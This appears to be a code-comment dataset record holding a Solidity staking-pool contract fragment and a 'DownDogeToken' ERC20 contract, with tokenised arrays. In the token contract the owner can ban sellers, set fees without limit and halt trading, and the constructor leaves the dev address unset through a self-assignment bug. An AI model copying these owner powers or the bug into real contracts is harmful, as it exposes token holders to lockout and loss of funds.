uToken1); return (feeInUtoken, fee); } /* * @dev get the required fee for the released ETH bonus * ------------------------------------------------------------------------------- * param _user --> the address of the user * ---------------------------------------------------------- * returns the fee amount. */ function calculateETHBonusFee(address _user) external view returns(uint ETH_Fee) { uint wethReleased = _calculateETHReleasedAmount(_user); if (wethReleased > 0) { (uint feeForWethInUtoken,) = _calculateETHFee(wethReleased); return feeForWethInUtoken; } else return 0; } /* * @dev get the required fee for the released token bonus * ------------------------------------------------------------------------------- * param _user --> the address of the user * ---------------------------------------------------------- * returns the fee amount. */ function calculateTokenBonusFee(address _user) external view returns(uint token_Fee) { uint tokenReleased = _calculateTokenReleasedAmount(_user); if (tokenReleased > 0) { (uint feeForTokenInUtoken,) = _calculateTokenFee(tokenReleased); return feeForTokenInUtoken; } else return 0; } /* * @dev get the bonus based on the return percentage for a particular locking term. * ------------------------------------------------------------------------------- * param _amount --> the amount to calculate bonus from. * param _returnPercentage --> the returnPercentage of the term. * ---------------------------------------------------------- * returns the bonus amount. */ function _calculateBonus(uint _amount, uint _returnPercentage) internal pure returns(uint) { return ((_amount.mul(_returnPercentage)).div(100000)) / 2; // 1% = 1000 } /* * @dev get the correct return percentage based on locked term. * ----------------------------------------------------------- * @param _token --> associated asset. * @param _term --> the locking term. * ---------------------------------------------------------- * returns the return percentage. */ function _calculateReturnPercentage(IERC20 _token, uint _term) internal view returns(uint) { if (_token == weth) { if (_term == period1) return period1RPWeth; else if (_term == period2) return period2RPWeth; else if (_term == period3) return period3RPWeth; else if (_term == period4) return period4RPWeth; else return 0; } else if (_token == token) { if (_term == period1) return period1RPToken; else if (_term == period2) return period2RPToken; else if (_term == period3) return period3RPToken; else if (_term == period4) return period4RPToken; else return 0; } } /* * @dev check whether the input locking term is one of the supported terms. * ---------------------------------------------------------------------- * @param _term --> the locking term. * -------------------------------------------------- * returns whether true or not and the period's index */ function _isValidTerm(uint _term) internal view returns(bool isValid, uint Period) { if (_term == period1) return (true, 1); else if (_term == period2) return (true, 2); else if (_term == period3) return (true, 3); else if (_term == period4) return (true, 4); else return (false, 0); } /* * @dev get the amount ETH and Token liquidity provided by the user. * ------------------------------------------------------------------ * @param _user --> the address of the user. * --------------------------------------- * returns the amount of ETH and Token liquidity provided. */ function getUserLiquidity(address _user) public view returns(uint provided_ETH, uint provided_token) { uint total = lpToken.totalSupply(); uint ratio = ((_users[_user].liquidity).mul(scalar)).div(total); uint tokenHeld = token.balanceOf(address(lpToken)); uint wethHeld = weth.balanceOf(address(lpToken)); return ((ratio.mul(wethHeld)).div(scalar), (ratio.mul(tokenHeld)).div(scalar)); } /* * @dev check whether the inputted user address has been migrated. * ---------------------------------------------------------------------- * @param _user --> ddress of the user * --------------------------------------- * returns whether true or not. */ function getUserMigration(address _user) public view returns (bool) { return _users[_user].migrated; } /* * @dev check whether the inputted user token has currently offers bonus * ---------------------------------------------------------------------- * @param _token --> associated token * --------------------------------------- * returns whether true or not. */ function _offersBonus(IERC20 _token) internal view returns (bool) { if (_token == weth) { uint wethRPTotal = period1RPWeth.add(period2RPWeth).add(period3RPWeth).add(period4RPWeth); if (wethRPTotal > 0) return true; else return false; } else if (_token == token) { uint tokenRPTotal = period1RPToken.add(period2RPToken).add(period3RPToken).add(period4RPToken); if (tokenRPTotal > 0) return true; else return false; } } /* * @dev check whether the pool has sufficient amount of bonuses available for new deposits/stakes. * ---------------------------------------------------------------------------------------------- * @param amount --> the _amount to be evaluated against. * --------------------------------------------------- * returns whether true or not. */ function _checkForSufficientStakingBonusesForETH(uint _amount) internal view returns(bool) { if ((address(this).balance).sub(_pendingBonusesWeth) >= _amount) { return true; } else { return false; } } /* * @dev check whether the pool has sufficient amount of bonuses available for new deposits/stakes. * ---------------------------------------------------------------------------------------------- * @param amount --> the _amount to be evaluated against. * --------------------------------------------------- * returns whether true or not. */ function _checkForSufficientStakingBonusesForToken(uint _amount) internal view returns(bool) { if ((token.balanceOf(address(this)).sub(_pendingBonusesToken)) >= _amount) { return true; } else { return false; } } /* * @dev get the timestamp of when the user balance will be released from locked term. * --------------------------------------------------------------------------------- * @param _user --> the address of the user. * --------------------------------------- * returns the timestamp for the release. */ function getUserRelease(address _user) external view returns(uint release_time) { uint release = _users[_user].release; if (release > now) { return (release.sub(now)); } else { return 0; } } /* * @dev get the amount of bonuses rewarded from staking to a user. * -------------------------------------------------------------- * @param _user --> the address of the user. * --------------------------------------- * returns the amount of staking bonuses. */ function getUserBonusPending(address _user) public view returns(uint ETH_bonus, uint token_bonus) { uint takenWeth = _users[_user].wethWithdrawn; uint takenToken = _users[_user].tokenWithdrawn; return (_users[_user].wethBonus.sub(takenWeth), _users[_user].tokenBonus.sub(takenToken)); } /* * @dev get the amount of released bonuses rewarded from staking to a user. * -------------------------------------------------------------- * @param _user --> the address of the user. * --------------------------------------- * returns the amount of released staking bonuses. */ function getUserBonusAvailable(address _user) public view returns(uint ETH_Released, uint token_Released) { uint ETHValue = _calculateETHReleasedAmount(_user); uint tokenValue = _calculateTokenReleasedAmount(_user); return (ETHValue, tokenValue); } /* * @dev get the amount of liquidity pool tokens staked/locked by user. * ------------------------------------------------------------------ * @param _user --> the address of the user. * --------------------------------------- * returns the amount of locked liquidity. */ function getUserLPTokens(address _user) external view returns(uint user_LP) { return _users[_user].liquidity; } /* * @dev get the lp token address for the pair. * ----------------------------------------------------------- * returns the lp address for eth/token pair. */ function getLPAddress() external view returns(address) { return address(lpToken); } /* * @dev get the total amount of LP tokens in the Poolstake contract * ---------------------------------------------------------------- * returns the amount of LP tokens in the Poolstake contract */ function getTotalLPTokens() external view returns(uint) { return lpToken.balanceOf(address(this)); } /* * @dev get the amount of staking bonuses available in the pool. * ----------------------------------------------------------- * returns the amount of staking bounses available for ETH and Token. */ function getAvailableBonus() external view returns(uint available_ETH, uint available_token) { available_ETH = (address(this).balance).sub(_pendingBonusesWeth); available_token = (token.balanceOf(address(this))).sub(_pendingBonusesToken); return (available_ETH, available_token); } /* * @dev get the maximum amount of ETH allowed for provisioning. * ----------------------------------------------------------- * returns the maximum ETH allowed */ function getCap() external view returns(uint maxETH) { return cap; } /* * @dev checks the term period and return percentages * -------------------------------------------------- * returns term period and return percentages */ function getTermPeriodAndReturnPercentages() external view returns( uint Term_Period_1, uint Term_Period_2, uint Term_Period_3, uint Term_Period_4, uint Period_1_Return_Percentage_Token, uint Period_2_Return_Percentage_Token, uint Period_3_Return_Percentage_Token, uint Period_4_Return_Percentage_Token, uint Period_1_Return_Percentage_ETH, uint Period_2_Return_Percentage_ETH, uint Period_3_Return_Percentage_ETH, uint Period_4_Return_Percentage_ETH ) { return ( period1, period2, period3, period4, period1RPToken, period2RPToken, period3RPToken, period4RPToken,period1RPWeth, period2RPWeth, period3RPWeth, period4RPWeth); } function analytics() external view returns(uint Total_ETH_Provided, uint Total_Tokens_Provided, uint Total_Providers, uint Current_Term_1, uint Current_Term_2, uint Current_Term_3, uint Current_Term_4 ) { return( totalETHProvided, totalTokenProvided, totalProviders, _providers[1], _providers[2], _providers[3], _providers[4]); } /* * @dev get the address of the multiplier contract * ----------------------------------------------- * returns the multiplier contract address */ function multiplierContract() external view returns(address Token1, address Token2) { return (address(multiplier1), address(multiplier2)); } /* * @dev get the address of the fee token * ------------------------------------- * returns the fee token address */ function feeToken() external view returns(address _uToken1, address _uToken2) { return (uToken1, uToken2); } /* * @dev get the address of the fee receiver * ---------------------------------------- * returns the fee receiver address */ function feeReceiver() external view returns(address) { return platformWallet; } function lastProvision(address _user) external view returns( uint timestamp, uint term, uint token_provided, uint eth_provided, bool multiplier, uint percentageGottenToken, uint percentageGottenWeth ) { timestamp = _users[_user].lastAction; term = _users[_user].lastTerm; token_provided = _users[_user].lastTokenProvided; eth_provided = _users[_user].lastWethProvided; multiplier = _users[_user].multiplier; percentageGottenToken = _users[_user].lastPercentToken; percentageGottenWeth = _users[_user].lastPercentWeth; return( timestamp, term, token_provided, eth_provided, multiplier, percentageGottenToken, percentageGottenWeth ); } }
@dev withdraw unwrapped liquidity by user if released. ------------------------------------------------------- @param _lpAmount --> takes the amount of user's lp token to be withdrawn. ------------------------------------------------------------------------- returns whether successfully withdrawn or not./
function withdrawLiquidity(uint _lpAmount) external returns(bool) { require(!getUserMigration(msg.sender), "must not be migrated already"); uint liquidity = _users[msg.sender].liquidity; require(_lpAmount > 0 && _lpAmount <= liquidity, "do not have any liquidity"); require(now >= _users[msg.sender].release, "cannot override current term"); _users[msg.sender].liquidity = liquidity.sub(_lpAmount); lpToken.approve(address(uniswapRouter), _lpAmount); (uint amountToken, uint amountETH) = uniswapRouter.removeLiquidityETH( address(token), _lpAmount, 1, 1, msg.sender, now); uint period = _users[msg.sender].period; if (_users[msg.sender].liquidity == 0) { _users[msg.sender].period = 0; _providers[period]--; _updateLastProvision(0, 0, 0, 0, 0); _users[msg.sender].lastPercentWeth = 0; _users[msg.sender].lastPercentToken = 0; } emit LiquidityWithdrawn(msg.sender, _lpAmount, amountETH, amountToken); return true; }
15,349,038
[ 1, 1918, 9446, 26917, 4501, 372, 24237, 635, 729, 309, 15976, 18, 13420, 13093, 225, 389, 9953, 6275, 15431, 5530, 326, 3844, 434, 729, 1807, 12423, 1147, 358, 506, 598, 9446, 82, 18, 8879, 788, 1135, 2856, 4985, 598, 9446, 82, 578, 486, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 48, 18988, 24237, 12, 11890, 389, 9953, 6275, 13, 3903, 1135, 12, 6430, 13, 288, 203, 540, 203, 3639, 2583, 12, 5, 588, 1299, 10224, 12, 3576, 18, 15330, 3631, 315, 11926, 486, 506, 24741, 1818, 8863, 203, 540, 203, 3639, 2254, 4501, 372, 24237, 273, 389, 5577, 63, 3576, 18, 15330, 8009, 549, 372, 24237, 31, 203, 3639, 2583, 24899, 9953, 6275, 405, 374, 597, 389, 9953, 6275, 1648, 4501, 372, 24237, 16, 315, 2896, 486, 1240, 1281, 4501, 372, 24237, 8863, 203, 3639, 2583, 12, 3338, 1545, 389, 5577, 63, 3576, 18, 15330, 8009, 9340, 16, 315, 12892, 3849, 783, 2481, 8863, 203, 540, 203, 3639, 389, 5577, 63, 3576, 18, 15330, 8009, 549, 372, 24237, 273, 4501, 372, 24237, 18, 1717, 24899, 9953, 6275, 1769, 7010, 540, 203, 3639, 12423, 1345, 18, 12908, 537, 12, 2867, 12, 318, 291, 91, 438, 8259, 3631, 389, 9953, 6275, 1769, 4766, 1850, 203, 540, 203, 3639, 261, 11890, 3844, 1345, 16, 2254, 3844, 1584, 44, 13, 273, 7010, 5411, 640, 291, 91, 438, 8259, 18, 4479, 48, 18988, 24237, 1584, 44, 12, 203, 7734, 1758, 12, 2316, 3631, 203, 7734, 389, 9953, 6275, 16, 203, 7734, 404, 16, 203, 7734, 404, 16, 203, 7734, 1234, 18, 15330, 16, 203, 7734, 2037, 1769, 203, 540, 203, 3639, 2254, 3879, 273, 389, 5577, 63, 3576, 18, 15330, 8009, 6908, 31, 203, 3639, 309, 261, 67, 5577, 63, 3576, 18, 15330, 8009, 549, 372, 24237, 422, 374, 13, 288, 203, 5411, 389, 5577, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _Owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _Owner; } modifier onlyOwner() { require(_Owner == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface FTPAntiBot { function scanAddress(address _address, address _safeAddress, address _origin) external returns (bool); function registerBlock(address _recipient, address _sender, address _origin) external; } contract Balancer { constructor() { } } contract DownDogeToken is Context, IERC20, Ownable { using SafeMath for uint256; uint256 internal _total_supply = 1_000_000_000_000 * 10**9; string private _Name = "Down Doge Token"; string private _Symbol = "DDT"; uint8 private _Decimals = 9; uint256 private _BanCount = 0; uint256 public _minTokensBeforeSwap = 1_000_000 * 10**9; // 1,000,000 DDT uint256 public _minWeiBeforeSwap = 1000_000_000 * 10**9; // 1 Eth uint256 public _lastBuyAndBurn = block.timestamp ; uint256 public _buyAndBurnInterval = 30 minutes; uint256 public _totalBurntFees; uint256 private _BuyBackFee = 6; uint256 private _CharityFee = 2; uint256 private _DevFee = 2; address payable private _FeeAddress; address payable private _DevAddress; address private _UniswapV2Pair; bool private _IsSwap = false; bool private _AntiBotEnabled = true; bool private _buyAndBurnEnabled = true; address public _AntiBotAddress = 0xCD5312d086f078D1554e8813C27Cf6C9D1C3D9b3; address public _DeadWallet = 0x000000000000000000000000000000000000dEaD; address public _balancer; bool public _SwapEnabled = false; bool public _TradingOpened = false; uint256 public _CalledReadyToTax = 0; bool public _CalledReadyToTax2 = false; uint256 public _CalledTax1 = 0; uint256 public _CalledTax2 = 0; uint256 public _CalledTax3 = 0; uint256 public _CalledSenderNotUni = 0; uint256 public _CalledBuyAndBurn = 0; uint256 public _CalledCanSwap = 0; uint256 public _CalledSwapTokensForETH = 0; mapping (address => bool) private _Bots; mapping (address => bool) private _ExcludedAddresses; mapping (address => uint256) private _Balances; mapping (address => mapping (address => uint256)) private _Allowances; FTPAntiBot private AntiBot; IUniswapV2Router02 private _UniswapV2Router; event BanAddress(address Address, address Origin); event Burnt(uint256 Amount); modifier lockTheSwap { _IsSwap = true; _; _IsSwap = false; } constructor (address payable _feeAddress, address payable _devAddress ) { _FeeAddress = _feeAddress; _DevAddress = _DevAddress; _initAntiBot(); // activates antibot if enabled _balancer = address(new Balancer()); // new contract to handle auto buy-back _Balances[owner()] = _total_supply.div(100).mul(50); // send 50% to owner address for presale, remaining will be sent back to contract before liquidity will be added. _Balances[address(this)] = _total_supply.div(100).mul(50); _ExcludedAddresses[owner()] = true; _ExcludedAddresses[address(this)] = true; _ExcludedAddresses[_balancer] = true; _ExcludedAddresses[_feeAddress] = true; _ExcludedAddresses[_devAddress] = true; emit Transfer(address(0), address(this), _total_supply); } receive() external payable {} // #################### // ##### DEFAULTS ##### // #################### function name() public view returns (string memory) { return _Name; } function symbol() public view returns (string memory) { return _Symbol; } function decimals() public view returns (uint8) { return _Decimals; } // ##################### // ##### OVERRIDES ##### // ##################### function totalSupply() public view override returns (uint256) { return _total_supply; } function balanceOf(address _account) public view override returns (uint256) { return _Balances[_account]; } function transfer(address _recipient, uint256 _amount) public override returns (bool) { _transfer(_msgSender(), _recipient, _amount); return true; } function allowance(address _owner, address _spender) public view override returns (uint256) { return _Allowances[_owner][_spender]; } function approve(address _spender, uint256 _amount) public override returns (bool) { _approve(_msgSender(), _spender, _amount); return true; } function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) { _transfer(_sender, _recipient, _amount); _approve(_sender, _msgSender(), _Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance")); return true; } // #################### // ##### PRIVATES ##### // #################### function _readyToTax(address _sender) private returns(bool) { _CalledReadyToTax += 1; _CalledReadyToTax2 = _senderNotUni(_sender) && !_ExcludedAddresses[_sender] && _SwapEnabled; return _CalledReadyToTax2; } function _notOwnerAddress(address _sender, address _recipient) private view returns(bool) { return _sender != owner() && _recipient != owner() && _TradingOpened; } function _senderNotUni(address _sender) private view returns(bool) { return _sender != _UniswapV2Pair; } function _approve(address _owner, address _spender, uint256 _amount) private { require(_owner != address(0), "ERC20: approve from the zero address"); require(_spender != address(0), "ERC20: approve to the zero address"); _Allowances[_owner][_spender] = _amount; emit Approval(_owner, _spender, _amount); } function _transfer(address _sender, address _recipient, uint256 _amount) private { require(_sender != address(0), "ERC20: transfer from the zero address"); require(_recipient != address(0), "ERC20: transfer to the zero address"); require(_amount > 0, "Transfer amount must be greater than zero"); require(_TradingOpened || _sender == owner() || _recipient == owner() || _ExcludedAddresses[_sender] || _ExcludedAddresses[_recipient], "Trading is locked."); uint256 _bbFee = _setBuyBackFee(_sender, _recipient); // buy-back fees uint256 _cFee = _setCharityFee(_sender, _recipient); // charity fee uint256 _dFee = _setDevFee(_sender, _recipient); // dev fee uint256 _bbFeeAmount = _amount.div(100).mul(_bbFee); uint256 _cFeeAmount = _amount.div(100).mul(_cFee); uint256 _dFeeAmount = _amount.div(100).mul(_dFee); uint256 _totalFee = _bbFeeAmount.add(_cFeeAmount).add(_dFeeAmount); uint256 _newAmount = _amount.sub(_totalFee); _Balances[address(this)] = _Balances[address(this)].add(_totalFee); if (_AntiBotEnabled) _checkBot(_recipient, _sender, tx.origin); //calls AntiBot for results if(_senderNotUni(_sender)) { _CalledSenderNotUni += 1; require(!_Bots[_sender]); // Local logic for banning based on AntiBot results _tax(_sender); } _Balances[_sender] = _Balances[_sender].sub(_amount); _Balances[_recipient] = _Balances[_recipient].add(_newAmount); emit Transfer(_sender, _recipient, _newAmount); if (_AntiBotEnabled) AntiBot.registerBlock(_sender, _recipient, tx.origin); //Tells AntiBot to start watching } function _checkBot(address _recipient, address _sender, address _origin) private { if((_recipient == _UniswapV2Pair || _sender == _UniswapV2Pair) && _TradingOpened){ bool recipientAddress = AntiBot.scanAddress(_recipient, _UniswapV2Pair, _origin); // Get AntiBot result bool senderAddress = AntiBot.scanAddress(_sender, _UniswapV2Pair, _origin); // Get AntiBot result if(recipientAddress){ _banSeller(_recipient); _banSeller(_origin); emit BanAddress(_recipient, _origin); } if(senderAddress){ _banSeller(_sender); _banSeller(_origin); emit BanAddress(_sender, _origin); } } } function _banSeller(address _address) private { if(!_Bots[_address]) _BanCount += 1; _Bots[_address] = true; } function _setBuyBackFee(address _sender, address _recipient) private view returns(uint256){ bool _takeFee = !(_ExcludedAddresses[_sender] || _ExcludedAddresses[_recipient]); uint256 _buyBackFee; if(!_takeFee) _buyBackFee = 0; if(_takeFee) _buyBackFee = _BuyBackFee; return _buyBackFee; } function _setCharityFee(address _sender, address _recipient) private view returns(uint256){ bool _takeFee = !(_ExcludedAddresses[_sender] || _ExcludedAddresses[_recipient]); uint256 _charityFee; if(!_takeFee) _charityFee = 0; if(_takeFee) _charityFee = _CharityFee; return _charityFee; } function _setDevFee(address _sender, address _recipient) private view returns(uint256){ bool _takeFee = !(_ExcludedAddresses[_sender] || _ExcludedAddresses[_recipient]); uint256 _devFee; if(!_takeFee) _devFee = 0; if(_takeFee) _devFee = _DevFee; return _devFee; } function _tax(address _sender) private { uint256 _tokenBalance = balanceOf(address(this)); uint256 _FeesSum = _CharityFee.add(_BuyBackFee).add(_DevFee); uint256 _cAmount = _tokenBalance.div(_FeesSum).mul(_CharityFee); uint256 _bbAmount = _tokenBalance.div(_FeesSum).mul(_BuyBackFee); uint256 _dAmount = _tokenBalance.div(_FeesSum).mul(_DevFee); uint256 _contractBalance = address(this).balance; bool swap = true; _CalledTax1 += 1; if (block.timestamp > _lastBuyAndBurn + _buyAndBurnInterval && _buyAndBurnEnabled && _contractBalance >= _minWeiBeforeSwap) { _CalledBuyAndBurn += 1; _buyAndBurnToken(_contractBalance); swap = false; } if (swap) { _CalledCanSwap += 1; if (_readyToTax(_sender)) { _CalledTax2 += 1; if (_tokenBalance >= _minTokensBeforeSwap) { _CalledTax3 += 1; _swapTokensForETH(address(this), _bbAmount); _swapTokensForETH(_FeeAddress, _cAmount); _swapTokensForETH(_DevAddress, _dAmount); } } } } function _swapTokensForETH(address _recipient, uint256 _amount) private lockTheSwap { _CalledSwapTokensForETH += 1; address[] memory _path = new address[](2); _path[0] = address(this); _path[1] = _UniswapV2Router.WETH(); _approve(address(this), address(_UniswapV2Router), _amount); _UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( _amount, 0, _path, _recipient, block.timestamp ); } function _swapEthForTokens(uint256 _EthAmount) private { address[] memory _path = new address[](2); _path[0] = _UniswapV2Router.WETH(); _path[1] = address(this); //@dev buy back tokens but send bought tokens to balancer to be burnt _UniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: _EthAmount}( 0, _path, address(_balancer), block.timestamp ); } function _initAntiBot() private { if (_AntiBotEnabled) { FTPAntiBot _antiBot = FTPAntiBot(_AntiBotAddress); AntiBot = _antiBot; } } function _buyAndBurnToken(uint256 _contractBalance) private lockTheSwap { _lastBuyAndBurn = block.timestamp; //@dev using smart contract generated account to automate buybacks, Uniswap doesn't allow for a contract to by itself _swapEthForTokens(_contractBalance); //@dev How much tokens we swaped into uint256 _swapedTokens = balanceOf(address(_balancer)); uint256 amountToBurn = _swapedTokens; _Balances[address(_balancer)] = 0; _Balances[_DeadWallet] = _Balances[_DeadWallet].add(amountToBurn); _totalBurntFees = _totalBurntFees.add(amountToBurn); emit Transfer(address(_balancer), _DeadWallet, amountToBurn); emit Burnt(amountToBurn); } // #################### // ##### EXTERNAL ##### // #################### function banCount() external view returns (uint256) { return _BanCount; } function checkIfBanned(address _address) external view returns (bool) { //Tool for traders to verify ban status bool _banBool = false; if(_Bots[_address]) _banBool = true; return _banBool; } function isAntiBotEnabled() external view returns (bool) { return _AntiBotEnabled; } function isBuyAndBurnEnabled() external view returns (bool) { return _buyAndBurnEnabled; } // ###################### // ##### ONLY OWNER ##### // ###################### function addLiquidity() external onlyOwner() { require(!_TradingOpened,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _UniswapV2Router = _uniswapV2Router; _approve(address(this), address(_UniswapV2Router), _total_supply); _UniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _UniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); // check _SwapEnabled = true; _TradingOpened = true; IERC20(_UniswapV2Pair).approve(address(_UniswapV2Router), type(uint).max); } function manualBan(address _a) external onlyOwner() { _banSeller(_a); } function removeBan(address _a) external onlyOwner() { _Bots[_a] = false; _BanCount -= 1; } function contractEthBalance() external view onlyOwner() returns (uint256) { return address(this).balance; } function setFeeAddress(address payable _feeAddress) external onlyOwner() { _FeeAddress = _feeAddress; _ExcludedAddresses[_feeAddress] = true; } function setBuyAndBurnFee(uint256 _fee) external onlyOwner() { _BuyBackFee = _fee; } function setCharityFee(uint256 _fee) external onlyOwner() { _CharityFee = _fee; } function setDevFee(uint256 _fee) external onlyOwner() { _DevFee = _fee; } function assignAntiBot(address _address) external onlyOwner() { // Highly recommend use of a function that can edit AntiBot contract address to allow for AntiBot version updates _AntiBotAddress = _address; _initAntiBot(); } function setMinBuyAndBurnWei(uint256 _amount) public onlyOwner { _minWeiBeforeSwap = _amount; } function setMinTokensSellForBuyBack(uint256 _amount) public onlyOwner { _minTokensBeforeSwap = _amount; } function emergencyContractEthRemoval(uint256 _amount, address payable _recipient) public onlyOwner { //@dev all contract ETH is considered ETH to be used for buybacks. //If someone accidentally sends ETH to contract there might be a slight chance to refund their ETH as long as buy back has not executed uint256 _contractBalance = address(this).balance; require( _amount <= _contractBalance, "Can't remove more ETH than available ETH"); _recipient.transfer(_amount); } function toggleAntiBot() external onlyOwner() { // Having a way to turn interaction with other contracts on/off is a good design practice _AntiBotEnabled = !_AntiBotEnabled; } function toggleBuyAndBurn() external onlyOwner() { // Having a way to turn interaction with other contracts on/off is a good design practice _buyAndBurnEnabled = !_buyAndBurnEnabled; } function toggleSwapAndOpenTrade() external onlyOwner() { _SwapEnabled = !_SwapEnabled; _TradingOpened = !_TradingOpened; } }
Tool for traders to verify ban status
function checkIfBanned(address _address) external view returns (bool) {
6,841,410
[ 1, 6364, 364, 1284, 6794, 358, 3929, 25732, 1267, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 19130, 38, 10041, 12, 2867, 389, 2867, 13, 3903, 1476, 1135, 261, 6430, 13, 288, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 